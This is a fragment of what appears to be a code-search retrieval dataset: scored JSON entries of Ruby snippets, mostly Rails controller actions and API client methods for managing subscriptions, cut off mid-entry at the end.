"text": "def create\n @subscription = Subscription.new(subscription_params)\n\n if @subscription.save\n render json: @subscription, status: :created, location: @subscription\n else\n render json: @subscription.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8dda65ac61f4f1e4514736b4c5be04c5",
"score": "0.63685787",
"text": "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: 'Subscribe was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscribe }\n else\n format.html { render :edit }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8dda65ac61f4f1e4514736b4c5be04c5",
"score": "0.63685787",
"text": "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: 'Subscribe was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscribe }\n else\n format.html { render :edit }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5757e7499a70e685083aa371c6842bd",
"score": "0.6366507",
"text": "def set_api_subscription\n @api_subscription = Api::Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "80d4f2ec6ac7c089d5dfe57e10a89ab6",
"score": "0.6340137",
"text": "def update_webhook_subscription(subscription_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/webhooks/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"title": ""
},
{
"docid": "f2ec73ea2e0c9a0c3fc99b4f28a81f8d",
"score": "0.6297623",
"text": "def subscribe_to_updates\n if @subscription = @requestor.find_or_create_subscriptions(@target.id)\n @subscription.update_attributes(blocked: false) if @subscription.blocked?\n render json: { success: true }\n else\n render json: {message: @subscription.errors&.full_messages || 'Unable to subscriber updates, please try again'}, status: 202\n end\n end",
"title": ""
},
{
"docid": "7525471e871db9d83d91b7357f1a2885",
"score": "0.6283883",
"text": "def stripe_customer_subscription_updated(event, req)\n subscription = event['data']['object']\n subs = Lynr::Model::Subscription.new({\n canceled_at: subscription['canceled_at'],\n plan: subscription['plan']['id'],\n status: subscription['status'],\n })\n dealership = dealer_dao.get_by_customer_id(subscription['customer']).set('subscription' => subs)\n dealer_dao.save(dealership)\n end",
"title": ""
},
{
"docid": "a07cebc8b97cade2c5ef226c4624ead3",
"score": "0.6279362",
"text": "def create\n # params[:id] is the knowmadics id\n\n @api_subscription = Api::Subscription.new(api_subscription_params)\n\n respond_to do |format|\n if @api_subscription.save\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @api_subscription }\n else\n format.html { render :new }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22ffd2319469a6414e79bd27e2ce4fe4",
"score": "0.6274368",
"text": "def post body=nil, headers={}\n @connection.post \"subscriptions.json\", body, headers\n end",
"title": ""
},
{
"docid": "ecaf6585c8b2eff8daaeb4996a501007",
"score": "0.62670964",
"text": "def update\n @subscription_request = SubscriptionRequest.find(params[:id])\n\n respond_to do |format|\n if @subscription_request.update_attributes(params[:subscription_request])\n format.html { redirect_to @subscription_request, notice: 'Subscription request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8193b29658689bdf0de01fe8b8ab457",
"score": "0.6251726",
"text": "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html { redirect_to @subscribe, notice: t('controller.successfully_updated', model: t('activerecord.models.subscribe')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscribe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7468d5e1f6928f2e7b0b3b2eae8beda8",
"score": "0.6240139",
"text": "def update\n @panel_subscription = Panel::Subscription.find(params[:id])\n respond_to do |format|\n if @panel_subscription.update_attributes(params[:panel_subscription])\n format.html { redirect_to(@panel_subscription, :notice => 'Subscription was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c412f8f678741a77b0947a4e801223a",
"score": "0.62153554",
"text": "def update\n @newsletter_subscription = NewsletterSubscription.find(params[:id])\n\n respond_to do |format|\n if @newsletter_subscription.update_attributes(params[:newsletter_subscription])\n format.html { redirect_to newsletter_subscriptions_path, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newsletter_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdf4aab98e758fb5d94ee734a46ddd55",
"score": "0.62121415",
"text": "def subscription_update\n data = request.body.read\n @verified = verify_webhook(data, request)\n if @verified\n ReserveInventory.delay(:retry => false).update_reserve_inventory\n head :ok\n else\n head :error\n end\n end",
"title": ""
},
{
"docid": "1c2c9d8712250d0bdca3f59230d93f71",
"score": "0.6203304",
"text": "def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: (I18n.t :subscription_created) }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "960a38e93ed15270668d04bfe73d8c63",
"score": "0.61951435",
"text": "def update\n @subscription.activity :params => {:composite_key => \"#{@subscription.game_id},#{@subscription.player_id}\"}\n respond_to do |format|\n if @subscription.update(subscription_params) \n format.html { redirect_to @subscription.game, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b653f3c8520c99c71888a7e6e5916f5",
"score": "0.61809504",
"text": "def update_subscriptions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StreamsApi.update_subscriptions ...'\n end\n # resource path\n local_var_path = '/users/me/subscriptions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'delete'] = @api_client.build_collection_param(opts[:'delete'], :multi) if !opts[:'delete'].nil?\n query_params[:'add'] = @api_client.build_collection_param(opts[:'add'], :multi) if !opts[:'add'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'JsonSuccessBase'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"StreamsApi.update_subscriptions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StreamsApi#update_subscriptions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0b896a5a64a54c7dcc790b98200c4f05",
"score": "0.61808866",
"text": "def change_subscription\n @user = User.find(params[:id])\n @user.notify = !@user.notify\n @user.save\n respond_with(@user) do\n redirect_to \"/users/successful_unsubscribe\"\n end\n end",
"title": ""
},
{
"docid": "54ce7e0a68a8a763c9e8f7de81dcb396",
"score": "0.617528",
"text": "def set_subscription\n @subscription = ::Pushar::Core::Subscription.unscoped.find(params[:id])\n end",
"title": ""
},
{
"docid": "0f751d6933463bb792ebba7d0565647b",
"score": "0.61591357",
"text": "def update\n respond_to do |format|\n if @vendor_subscription.update(vendor_subscription_params)\n format.html { redirect_to @vendor_subscription, notice: 'Vendor subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @vendor_subscription }\n else\n format.html { render :edit }\n format.json { render json: @vendor_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a771cca97df5112b46afc9b4fe3cc988",
"score": "0.6136907",
"text": "def update\nrespond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to users_profile_url(current_user.id), notice: 'Your pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\nend\nend",
"title": ""
},
{
"docid": "c49c1a7ca462e3040ada5c03eb472cda",
"score": "0.61329186",
"text": "def create\n @subscription = Subscription.new(params[:subscription])\n\n @subscription.owner = Company.find(params[:company_id]) if params[:company_id]\n @subscription.owner = Person.find(params[:person_id]) if params[:person_id]\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription.owner, notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "edb4a297bebb684021f42f916c20a895",
"score": "0.6127746",
"text": "def update\n respond_to do |format|\n if @subscribe.update(subscribe_params)\n format.html {redirect_to @subscribe, notice: 'Subscribe was successfully updated.'}\n format.json {render json: @subscribe, status: :ok}\n else\n format.html {render :edit}\n format.json {render json: @subscribe.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "9f1d51ba04ef4d01596deefbef45071d",
"score": "0.6122807",
"text": "def update\n\n @subscription.subscribe(current_user.account, subscription_params[:stripe_plan_id], coupon: subscription_params[:coupon_code])\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully updated.'\n else\n @verrors = @subscription.errors.full_messages\n render 'edit'\n end\n end",
"title": ""
},
{
"docid": "549bca201c652215b4d9d19bdb58a17d",
"score": "0.61197704",
"text": "def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to root_url, notice: 'Subscription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subscription }\n else\n format.html { render action: 'new' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd4519007a90622f92bb522edace5450",
"score": "0.6116667",
"text": "def update\n @subscription_type = SubscriptionType.find(params[:id])\n\n respond_to do |format|\n if @subscription_type.update_attributes(params[:subscription_type])\n flash[:notice] = 'SubscriptionType was successfully updated.'\n format.html { redirect_to(@subscription_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5512c4051fcdae3009367815df51911",
"score": "0.61018986",
"text": "def post(subscription_form)\n HttpClient::Preconditions.assert_class('subscription_form', subscription_form, Apidoc::Models::SubscriptionForm)\n @client.request(\"/subscriptions\").with_json(subscription_form.to_json).post { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"title": ""
},
{
"docid": "0d3ebc53e20b7ce6bb334bf78e3f9c0b",
"score": "0.6096937",
"text": "def create\n megam_rest.post_subscriptions(to_hash)\n end",
"title": ""
},
{
"docid": "51a1995bd2f00c038962fac05d60b434",
"score": "0.6095118",
"text": "def destroy\n subscription = current_user.subscriptions.find(params[:id])\n subscription.destroy!\n\n render json: { status: 'success'}\n end",
"title": ""
},
{
"docid": "7ce4635ce6ebb0c596df350dab35f123",
"score": "0.60945886",
"text": "def create\n @subscription = Subscription.new(subscription_params)\n @subscription.user = current_user\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: t('controller.successfully_created', model: t('activerecord.models.subscription')) }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3f8cfaec68960587b8acde1b46697d2",
"score": "0.60815495",
"text": "def bulk_update_subscriptions(subscriptions = [])\n attrs = { updateSubscriptionsRequests: subscriptions }\n Iterable.request(conf, '/users/bulkUpdateSubscriptions').post(attrs)\n end",
"title": ""
},
{
"docid": "d68fea469d1cd2a282308b8f45eea3b7",
"score": "0.60776556",
"text": "def update\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n if @list_subscription.update_attributes(params[:list_subscription])\n format.html { redirect_to @list_subscription, notice: 'List subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79ff74e15c60e6a869476771bc4e7b95",
"score": "0.6077455",
"text": "def subscribe_author\n self.subscriptions.create user_id: self.user.id\n end",
"title": ""
},
{
"docid": "9240f00a950b33147bd18abd50220081",
"score": "0.6072967",
"text": "def update\n respond_to do |format|\n if @subscription_type.update(subscription_type_params)\n format.html { redirect_to @subscription_type, notice: 'Subscription types was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription_type }\n else\n format.html { render :edit }\n format.json { render json: @subscription_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "346aff5c8199277f524d5338234f6b57",
"score": "0.6070593",
"text": "def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end",
"title": ""
},
{
"docid": "0b992c58d4370bf1c1881f07ebcad278",
"score": "0.6063802",
"text": "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b992c58d4370bf1c1881f07ebcad278",
"score": "0.6063802",
"text": "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3fa188fd1f528d81f525fe8079ab608d",
"score": "0.60463095",
"text": "def update\n respond_to do |format|\n if @user_to_channel_subscription.update(user_to_channel_subscription_params)\n format.html { redirect_to @user_to_channel_subscription, notice: 'User to channel subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_to_channel_subscription }\n else\n format.html { render :edit }\n format.json { render json: @user_to_channel_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "704973bc6b1671434c58b7ce645ce1d1",
"score": "0.60396874",
"text": "def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end",
"title": ""
},
{
"docid": "7ce31b404ebaf6a8f53ee3476e7176eb",
"score": "0.60275394",
"text": "def subscription_params\n params.require(:subscription).permit(:subscribed_id)\n end",
"title": ""
},
{
"docid": "d904dc86a3467718edc8452931849230",
"score": "0.6024691",
"text": "def subscribe!\n Subscription.transaction do\n subscription = create_stripe_subscription!\n store.subscriptions.create!(\n customer: user,\n stripe_plan_id: stripe_plan_id,\n stripe_id: subscription.id,\n first_date: Date.today,\n status: :active\n )\n end\n end",
"title": ""
},
{
"docid": "d37ebccac345389aa47d74db0634a1be",
"score": "0.6023611",
"text": "def update\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n if @subscriber.update_attributes(params[:subscriber])\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a9171150379322de7ef66196cad8244",
"score": "0.60122216",
"text": "def update\n bundle_subscriptions = create_bundle_subs\n if BundleSubscription.import(bundle_subscriptions)\n @bundle.bundle_subscriptions.where.not(id: bundle_subscriptions).destroy_all\n redirect_to @bundle, notice: 'Bundle was successfully updated.'\n else\n edit\n flash[:alert] = 'Something went wrong while updating your bundle. Please try again.'\n render :edit and return\n end\n end",
"title": ""
}
] |
d1c8aeec996c10b9553c5a69f8a24c3b
|
Enumerates through the operations specified in the API configuration (yaml configuration file found in lib/api_config/) and defines a request and a response handler for each operation.
|
[
{
"docid": "ca29d82e8955bada990547086ca1657e",
"score": "0.7931368",
"text": "def define_handlers\n namespace = api_config[:namespace]\n api_config[:operations].each_pair do |method,operation|\n input_handlers[method] = InputHandler.new(namespace, operation)\n output_handlers[method] = OutputHandler.new(operation)\n end\n end",
"title": ""
}
] |
[
{
"docid": "0c11c798d73c554144666417d5aea7da",
"score": "0.630734",
"text": "def define_actions(config)\n router.member do\n config.member_actions.each { |action| build_action(action) }\n end\n\n router.collection do\n config.collection_actions.each { |action| build_action(action) }\n router.post :batch_action if config.batch_actions_enabled?\n end\n end",
"title": ""
},
{
"docid": "78e973a2d1db88a1cff3abad760a1988",
"score": "0.6299179",
"text": "def define_client_methods\n api_config[:operations].each do |op|\n \n method_name = op[:method]\n \n option_parsers[method_name] = OptionGrammar.customize(op[:inputs])\n \n end\n end",
"title": ""
},
{
"docid": "b40ab7520bc5267141fad6e066998b3f",
"score": "0.619331",
"text": "def define_parsers\n api_config[:operations].each do |op|\n\n method_name = op[:method]\n\n option_parsers[method_name] = OptionGrammar.customize(op[:inputs])\n xml_parsers[method_name] = XML::Parser.new(op[:outputs])\n\n end\n end",
"title": ""
},
{
"docid": "7771c7db81ec862b2d51868ab78f4ed9",
"score": "0.614728",
"text": "def collect_api_definitions!( namespace )\n routes = Rails.application.routes.routes.select { |route| route.path.spec.to_s.start_with?(namespace) }\n \n method_map = {\n /^GET$/ => :get,\n /^PUT$/ => :put,\n /^POST$/ => :post,\n /^DELETE$/ => :delete,\n /^PATCH$/ => :patch\n }\n\n routes.map do |route|\n next if route.path.spec.to_s =~ /api\\/unified\\/docs/\n\n controller = (route.defaults[:controller] + \"_controller\").classify.constantize\n\n endpoint = Endpoint.new( \n route.path.spec.to_s, \n route.try(:verb).try(:downcase).try(:to_sym) || method_map[ route.constraints[:request_method] ],\n controller,\n route.defaults[:action],\n controller.apis[ route.defaults[:action].to_sym ]\n )\n end.compact\n end",
"title": ""
},
{
"docid": "c95a59504193669960a002050dc9d9dc",
"score": "0.5935363",
"text": "def api_method(http_verb, path, options={}, &blk)\n action_def = (@apiculture_action_definition || ActionDefinition.new)\n action_def.http_verb = http_verb\n action_def.path = path\n\n # Ensure no reserved Sinatra parameters are used\n all_parameter_names = action_def.all_parameter_names_as_strings\n %w( splat captures ).each do | reserved_param |\n if all_parameter_names.include?(reserved_param)\n raise ReservedParameter.new(\":#{reserved_param} is a reserved magic parameter name in Sinatra\")\n end\n end\n\n # Ensure no conflations between route/req params\n seen_params = {}\n all_parameter_names.each do |e|\n if seen_params[e]\n raise ConflictingParameter.new(\":#{e} mentioned twice as a possible parameter. Note that URL\" +\n \" parameters and request parameters share a namespace.\")\n else\n seen_params[e] = true\n end\n end\n\n # Ensure the path has the route parameters that were predeclared\n action_def.route_parameters.map(&:name).each do | route_parameter_key |\n unless path.include?(':%s' % route_parameter_key)\n raise RouteParameterNotInPath.new(\"Parameter :#{route_parameter_key} not present in path #{path.inspect}\")\n end\n end\n\n # TODO: ensure all route parameters are documented\n\n # Pick out all the defined parameters and set up a block that can validate them\n # when the action is called. With that, set up the actual Sinatra method that will\n # respond to the request. We take care to preserve all the params that have NOT been documented\n # using Apiculture but _were_ in fact specified in the actual path.\n route_parameter_names = path.scan(/:([^:\\/]+)/).flatten.map(&:to_sym)\n parametric_checker_proc = parametric_validator_proc_from(action_def.parameters + action_def.route_parameters, route_parameter_names)\n public_send(http_verb, path, **options) do |*matched_sinatra_route_params|\n # Extract all the parameter names from the route path as given to the method\n route_parameters = Hash[route_parameter_names.zip(matched_sinatra_route_params)]\n\n # Apply route parameter checks, but only to params that were defined in the Apiculture action descriptor.\n # All the other params have to go via bypass.\n checked_route_parameters = action_def.route_parameters.select {|par| route_parameter_names.include?(par.name) }\n checked_route_parameters.each do |route_param|\n # Apply the type cast and save it (since using our override we can mutate the params)\n value_from_route_params = route_parameters.fetch(route_param.name)\n value_after_type_cast = AC_APPLY_TYPECAST_PROC.call(route_param.cast_proc_or_method, value_from_route_params)\n # Ensure the typecast value adheres to the enforced Ruby type\n AC_CHECK_TYPE_PROC.call(route_param, value_after_type_cast)\n # ..and overwrite it in the route parameters hash\n route_parameters[route_param.name] = value_after_type_cast\n end\n # Execute parametric checks on all the OTHER params (forms etc.)\n instance_exec(¶metric_checker_proc)\n # Execute the original action via instance_exec, passing along the route args\n instance_exec(*route_parameters.values, &blk)\n end\n\n # Reset for the subsequent action definition\n @apiculture_action_definition = ActionDefinition.new\n # and store the just defined action for future use\n apiculture_stack << action_def\n end",
"title": ""
},
{
"docid": "8ba3c1c2d6bdda2b4455bbd93cec2e17",
"score": "0.580154",
"text": "def describe_external_service_api(object:, api_name:, **kwargs, &blk)\n action_class = kwargs[:action_class] || \"ExternalServices::ApiActions::#{api_name.to_s.camelize}\".constantize\n methods = %i[create update destroy]\n methods -= [kwargs[:except]].flatten if kwargs[:except]\n methods &= [kwargs[:only]].flatten if kwargs[:only]\n\n describe action_class.to_s do\n before :all do\n Disabler.enable_external_services\n Disabler.disable_external_services except: [api_name]\n end\n\n after :all do\n Disabler.enable_external_services\n end\n\n before do\n @api_object = case object\n when Symbol\n send(object)\n else\n instance_exec(&object)\n end\n @action_class = action_class\n @id_key = kwargs[:id_key].try(:to_s) || \"#{api_name.to_s.underscore}_id\"\n @methods = kwargs[:methods] || { create: :post, update: :put, destroy: :delete }\n\n perform_unprocessed_actions\n end\n\n if :create.in? methods\n it 'creates action on create' do\n expect_api_action_on_create\n end\n end\n\n if :update.in? methods\n it 'creates action on update' do\n @api_object.send(\"#{@id_key}=\", SecureRandom.hex)\n @api_object.save\n\n expect_api_action_on_update(@api_object)\n end\n end\n\n if :destroy.in? methods\n it 'creates action on delete' do\n @api_object.send(\"#{@id_key}=\", SecureRandom.hex)\n @api_object.save\n\n @api_object.reload.descendants.each(&:delete) if @api_object.respond_to?(:descendants)\n @api_object.destroy\n expect_api_action_on_destroy(@api_object)\n end\n end\n\n if kwargs[:descendants_identifier_check]\n it 'create actions for all descendants on identifier change' do\n @api_object.update! identifier: \"#{@api_object.identifier}1\"\n\n @api_object.descendants.each do |c|\n expect_api_action_on_update(c)\n end\n end\n end\n\n instance_exec(&blk) if block_given?\n end\n\n # rubocop:enable Metrics/MethodLength, Metrics/AbcSize, Metrics/PerceivedComplexity, Metrics/CyclomaticComplexity\n end",
"title": ""
},
{
"docid": "472a8feee5d145b958ed5455b8d29c2b",
"score": "0.57265455",
"text": "def initialize_endpoints_methods\n possible_post_endpoints.each do |endpoint_path|\n self.class.send(:define_method, endpoint_path) do |params = {}|\n \"B2C2Client::Requests::Post::#{endpoint_path.camelize}\"\n .constantize.new(self.config, params)\n end\n end\n\n possible_get_endpoints.each do |endpoint_path|\n self.class.send(:define_method, endpoint_path) do |params = {}|\n \"B2C2Client::Requests::Get::#{endpoint_path.camelize}\"\n .constantize.new(self.config, params)\n end\n end\n end",
"title": ""
},
{
"docid": "7ae3e690964ffac8b09bf2fb7eb28c4f",
"score": "0.5690338",
"text": "def connection_handlers\n @connection_handlers ||= [\n proc do |conn|\n conn.request :json\n if @oauth2\n conn.request :oauth2, @oauth2.token, :token_type => @oauth2.token_type\n end\n end,\n proc do |conn|\n if @logging\n conn.response :logger, nil, :bodies => (@logging.casecmp('DEBUG') == 0)\n end\n conn.response :json, :content_type => /\\bjson$/\n end,\n proc{|conn| conn.adapter Faraday.default_adapter }\n ]\n end",
"title": ""
},
{
"docid": "eacb549cf8c247a3a6af06e710ace0c1",
"score": "0.56707966",
"text": "def configure\n yield(configuration)\n @api ||= API.new\n end",
"title": ""
},
{
"docid": "f299d30fcb3f52677f451aad749be030",
"score": "0.5596583",
"text": "def define_request_methods\n REQUEST_CLASSES.each do |request_class|\n endpoint_instance = request_class.new(self)\n create_methods_from_instance(endpoint_instance)\n end\n end",
"title": ""
},
{
"docid": "f299d30fcb3f52677f451aad749be030",
"score": "0.5596583",
"text": "def define_request_methods\n REQUEST_CLASSES.each do |request_class|\n endpoint_instance = request_class.new(self)\n create_methods_from_instance(endpoint_instance)\n end\n end",
"title": ""
},
{
"docid": "2c6d917ae67ce67602fccced796bdcf7",
"score": "0.55890787",
"text": "def handlers\n @handlers ||= {\n 'application/json' => -> (response) { handle_json_response(response) },\n 'application/octet-stream' => -> (response) { handle_octet_stream_response(response) }\n }\n end",
"title": ""
},
{
"docid": "b024f268d10123940bf9e2ae8c88b6c9",
"score": "0.5575433",
"text": "def api(*args, &block)\n process_api_request(*args, &block)\n end",
"title": ""
},
{
"docid": "89e7bc9c555acc50384ac885a2ff410f",
"score": "0.5572923",
"text": "def set_handlers\n @server.add_async_check do |method|\n # methods that expect a block are async\n method.parameters.flatten.include?( :block )\n end\n\n @server.add_handler( \"service\", self )\n @server.add_handler( \"framework\", @framework )\n @server.add_handler( \"opts\", @framework.opts )\n @server.add_handler( \"modules\", @framework.modules )\n @server.add_handler( \"plugins\", @framework.plugins )\n end",
"title": ""
},
{
"docid": "e08f6494e16888153b7c3051c9136df3",
"score": "0.5568409",
"text": "def actions\n client.operations\n end",
"title": ""
},
{
"docid": "6659ed97c1a731e1f95739c6cf29f117",
"score": "0.5559789",
"text": "def custom_actions\n @custom_action = {}\n\n @apis.each do |api|\n # TODO make {name} more generic\n if api[\"path\"].match(/\\/#{@resource_name}\\/{name}\\/([^\\/]*)$/)\n action = $1\n if action.match(ACTION_REGEXP)\n @custom_action[action] = api\n end\n end\n end\n @custom_action\n end",
"title": ""
},
{
"docid": "1867c86343a47cf27c187c74061617fe",
"score": "0.5550493",
"text": "def define_request_methods\n REQUEST_CLASSES.each do |request_class|\n endpoint_instance = request_class.new(self)\n create_methods_from_instance(endpoint_instance)\n end\n end",
"title": ""
},
{
"docid": "1867c86343a47cf27c187c74061617fe",
"score": "0.5550493",
"text": "def define_request_methods\n REQUEST_CLASSES.each do |request_class|\n endpoint_instance = request_class.new(self)\n create_methods_from_instance(endpoint_instance)\n end\n end",
"title": ""
},
{
"docid": "4e071298d986db493ad85f6998a606b3",
"score": "0.5532406",
"text": "def handles *actions\n actions = API_ACTIONS.dup if actions.any? {|a| a == :all }\n\n whitelisted = actions.map(&:to_sym) & API_ACTIONS\n\n if (unhandled = actions - whitelisted).present?\n logger.warn \"Daylight::APIController isn't handling unwhitelisted actions\"\n logger.warn \"\\tspecified in #{self.name}#handles: #{unhandled.join(',')}\"\n end\n\n public(*whitelisted) if whitelisted.present?\n end",
"title": ""
},
{
"docid": "4e071298d986db493ad85f6998a606b3",
"score": "0.5532406",
"text": "def handles *actions\n actions = API_ACTIONS.dup if actions.any? {|a| a == :all }\n\n whitelisted = actions.map(&:to_sym) & API_ACTIONS\n\n if (unhandled = actions - whitelisted).present?\n logger.warn \"Daylight::APIController isn't handling unwhitelisted actions\"\n logger.warn \"\\tspecified in #{self.name}#handles: #{unhandled.join(',')}\"\n end\n\n public(*whitelisted) if whitelisted.present?\n end",
"title": ""
},
{
"docid": "ab5b7a68a6a501fdfd33458d66a54ae4",
"score": "0.55120045",
"text": "def operations(*operations)\n operations.each do |operation|\n define_class_operation(operation)\n define_instance_operation(operation)\n end\n end",
"title": ""
},
{
"docid": "b5312162ed10d0eb427ac0b00dbd2df7",
"score": "0.55103076",
"text": "def api_res (name)\n scope '/' + name + '/' do\n post '/create', as: '', to: 't_api/' + name + '#create'\n post '/update', as: '', to: 't_api/' + name + '#update'\n post '/destroy', as: '', to: 't_api/' + name + '#destroy'\n post '/restore', as: '', to: 't_api/' + name + '#restore'\n\n # TODO: Temporary. Delete POST in release\n match '/', as: '', to: 't_api/' + name + '#index', via: [:get, :post]\n match '/:id', as: '', to: 't_api/' + name + '#show', via: [:get, :post]\n end\n end",
"title": ""
},
{
"docid": "c4d4125879bef2a697376d87b6efdf88",
"score": "0.5499853",
"text": "def request_manager\n\n begin\n\n request.format = 'json'\n\n @@request = {}\n @@request['version'] = params[:version]\n @@request['api_name'] = params[:api]\n @@request['api_method'] = params[:method]\n @@request['p1'] = params[:p1]\n @@request['p2'] = params[:p2]\n @@request['p3'] = params[:p3]\n @@request['p4'] = params[:p4]\n @@request['p5'] = params[:p5]\n\n # Find appropriate apis to call for the request\n if (@@request['api_name'] == 'user')\n\n require(api_folder + 'user_api')\n api = UserAPI.new(@@request, session, cookies)\n return_val = api.process_request\n\n elsif (@@request['api_name'] == 'lab')\n require(api_folder + 'lab_api')\n api = LabAPI.new(@@request, session, cookies)\n return_val = api.process_request\n\n elsif (@@request['api_name'] == 'public')\n require(api_folder + 'public_api')\n api = PublicAPI.new(@@request, session, cookies)\n return_val = api.process_request\n\n else\n # Request matched no known apis and has failed\n return_val = {}\n return_val['message'] = 'Request does not match API Interface'\n return_val['success'] = false\n end\n\n # render json: 